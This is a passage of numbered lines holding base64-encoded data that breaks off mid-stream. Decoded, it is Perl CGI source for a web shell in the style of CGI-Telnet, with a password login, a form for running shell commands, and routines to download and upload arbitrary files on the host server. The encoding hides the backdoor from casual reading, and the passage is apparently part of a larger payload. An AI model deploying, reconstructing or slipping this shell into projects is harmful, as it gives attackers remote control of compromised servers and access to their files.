1486cGF0aD0iIjsKCW15ICRyZXN1bHQ9IiI7Cglmb3JlYWNoIChAZGlyKQoJewoJCSRwYXRoIC49ICRf
1487LiRQYXRoU2VwOwoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4i
1488LiRfLiRQYXRoU2VwLiI8L2E+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0t
1489LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1490LS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEg
1491ZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1492LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRN
1493ZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8YnI+TG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPgoKUGFz
1494c3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0t
1495LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1496LS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0t
1497LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1498LS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Zm9ybSBuYW1l
1499PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9
1500ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJy
1501PgpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgY2xhc3M9
1502InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CgojLS0t
1503LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1504LS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UK
1505Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1506LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8YnI+
1507PGZvbnQgY29sb3I9cmVkPm8tLS1bICA8Zm9udCBjb2xvcj0jZmY5OTAwPkVkaXQgYnkgJEVkaXRQ
1508ZXJzaW9uIDwvZm9udD4gIF0tLS1vPC9mb250PjwvY29kZT48L2NlbnRlcj48L2JvZHk+PC9odG1s
1509PiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1510LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBh
1511bGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlh
1512YmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1513LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsK
1514CUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNo
1515ICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29v
1516a2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0t
1517LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1518LQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0t
1519LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1520LS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIkNvbm5lY3Rpb24gY2xv
1521c2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1522LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K
1523IyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluCiMt
1524LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1525LS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dvdXQKewoJcHJpbnQgIlNldC1Db29r
1526aWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQoJJlByaW50UGFnZUhl
1527YWRlcigicCIpOwoJJlByaW50TG9nb3V0U2NyZWVuOwoKCSZQcmludExvZ2luU2NyZWVuOwoJJlBy
1528aW50TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKCWV4aXQ7Cn0KCiMtLS0tLS0tLS0tLS0t
1529LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1530LS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYg
1531dGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRo
1532ZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBv
1533ciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxv
1534d3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1535LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3Jt
1536TG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRj
1537aGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsK
1538CQkmUHJpbnRQYWdlSGVhZGVyOwoJCXByaW50ICZMaXN0RGlyOwoJfQoJZWxzZSAjIHBhc3N3b3Jk
1539IGRpZG4ndCBtYXRjaAoJewoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCQkmUHJpbnRMb2dpblNj
1540cmVlbjsKCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRl
1541cmVkCgkJewoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7CgoJCX0KCQkmUHJpbnRMb2dpbkZv
1542cm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0t
1543LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1544LS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIg
1545Y29tbWFuZHMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1546LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0
1547Rm9ybQp7CglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13
1548ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21w
1549dCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIzY2ZmY2Nic+W2FkbWluXEAk
1550U2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJm
1551IiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCjxpbnB1dCB0eXBlPSJo
1552aWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
1553bWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIHNp
1554emU9IjUwIiBuYW1lPSJjIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQidHlwZT0ic3VibWl0IiB2YWx1
1555ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1556LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRz
1557IHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0t
1558LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1559LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCW15ICRkaXIg
1560PSAmQWRkTGlua0RpcigiZG93bmxvYWQiKTsgCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAi
1561IDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBu
1562YW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5
1563cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9Imhp
1564ZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+
1565CkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9
1566IjM1Ij48YnI+PGJyPgpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1p
1567dCIgdmFsdWU9IkJlZ2luIj4KCjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1568LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K
1569IyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmls
1570ZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1571LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CglteSAk
1572ZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAi
1573IDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBu
1574YW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlv
1575bj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlu
1576cHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4K
1577T3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZh
1578bHVlPSJvdmVyd3JpdGUiPgo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwv
1579bGFiZWw+PGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCBjbGFzcz0ic3Vi
1580bWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
1581bWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJo
1582aWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgoKPC9mb3JtPgoKRU5ECn0KCiMtLS0tLS0t
1583LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1584LS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0
1585IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0
1586IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMK
1587IyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0t
1588LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1589LS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxh
1590cm0oMCk7CgkJcmV0dXJuIDw8RU5EOwo8L3RleHRhcmVhPgo8YnI+PGZvbnQgY29sb3I9eWVsbG93
1591PgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlv
1592biBzZWNvbmQocykuPC9mb250Pgo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBp
1593dCE8L2ZvbnQ+CkVORAoJfQp9CgoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1594LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0
1595aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0
1596aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBj
1597b250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2Fk
1598IGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9m
1599IHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1600LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJp
1601bnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJbXkgJHJlc3VsdD0i
1602IjsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRo
1603ZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9
1604fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGlu
1605ayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1s
1606TWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBV
1607Ukw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRyZXN1bHQg
1608Lj0gPDxFTkQ7ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPgoKSWYgdGhlIGRvd25s
1609b2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsi
1610PkNsaWNrIEhlcmU8L2E+CkVORAoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZv
1611cm07Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVk
1612IHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7CgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxv
1613YWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1614LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBU
1615aGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBz
1616ZW5kcyBpdCB0byB0aGUKIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5
1617IHRoZSB1c2VyLgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUg
1618ZmlsZSB0byBiZSBzZW50LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1619LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBTZW5kRmlsZVRvQnJv
1620d3Nlcgp7CglteSAkcmVzdWx0ID0gIiI7Cglsb2NhbCgkU2VuZEZpbGUpID0gQF87CglpZihvcGVu
1621KFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nCgl7CgkJaWYo
1622JFdpbk5UKQoJCXsKCQkJYmlubW9kZShTRU5ERklMRSk7CgkJCWJpbm1vZGUoU1RET1VUKTsKCQl9
1623CgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107CgkJKCRGaWxlbmFtZSA9ICRTZW5k
1624RmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOwoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0
1625aW9uL3gtdW5rbm93blxuIjsKCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsK
1626CQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxu
1627IjsKCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsKCQljbG9zZShTRU5ERklMRSk7CgkJZXhpdCgx
1628KTsKCX0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVk
1629IHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOwoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxv
1630YWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1631LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMg
1632VGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJ
1633dCBkaXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRo
1634cm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBp
1635cyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMg
1636Y2FzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0t
1637LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1638LS0tLS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmll
1639ZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5z
1640ZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4g
1641bS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVy
1642RmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkg
1643aWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0Rmls
1644ZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMg
1645d2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRG
1646aWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJ
1647JlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0t
1648LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1649LS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRv
1650IHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxh
1651eXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lz
1652ZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1653LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1
1654YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxv
1655YWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQlyZXR1cm4gJlByaW50
1656RmlsZVVwbG9hZEZvcm07CgoJfQoJbXkgJHJlc3VsdD0iIjsKCSMgc3RhcnQgdGhlIHVwbG9hZGlu
1657ZyBwcm9jZXNzCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVu
1658dERpci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRo
1659ZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9
1660ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxd
1661KikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxl
1662bmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBu
1663b3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9u
1664cyBuZSAib3ZlcndyaXRlIikKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZp
1665bGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJ
1666ewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShV
1667UExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9
1668OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0
1669RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5h
1670bWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOwoJ
1671CX0KCX0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CglyZXR1cm4gJHJl
1672c3VsdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1673LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVk
1674IHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlbmFt
1675ZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIg
1676dG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0
1677aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2Fu
1678IGJlIGRvd25sb2FkZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1679LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIERvd25sb2FkRmlsZQp7
